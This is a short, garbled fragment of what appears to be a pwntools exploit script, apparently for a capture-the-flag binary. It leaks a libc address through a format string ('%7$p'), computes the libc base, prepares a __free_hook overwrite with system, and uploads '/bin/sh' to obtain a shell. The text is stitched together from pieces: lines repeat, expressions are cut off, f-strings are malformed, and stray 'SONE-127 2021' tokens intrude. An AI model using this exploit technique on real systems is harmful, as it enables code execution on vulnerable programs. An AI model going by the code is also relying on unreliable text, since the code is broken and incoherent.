Sone-127 2021 Apr 2026

target = free_hook low = target & 0xffff high = (target >> 16) & 0xffff

def write_free_hook(io, libc_base): system_addr = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] log.info(f'system: hex(system_addr)') log.info(f'__free_hook: hex(free_hook)') SONE-127 2021

def leak_libc(io): io.sendlineafter(b'> ', b'echo %7$p') io.recvuntil(b'echo ') leak = int(io.recvline().strip(), 16) log.success(f'Leaked address: hex(leak)') # __libc_start_main+231 is the usual location we see; adjust if needed libc_start_main_ret = leak - 231 libc_base = libc_start_main_ret - libc.sym['__libc_start_main'] log.info(f'Libc base: hex(libc_base)') return libc_base target = free_hook low = target & 0xffff

def get_shell(io): # Upload a file containing /bin/sh io.sendlineafter(b'> ', b'upload sh.txt') io.sendlineafter(b'Enter size: ', b'8') io.send(b'/bin/sh') io.recvuntil(b'> ') 16) & 0xffff def write_free_hook(io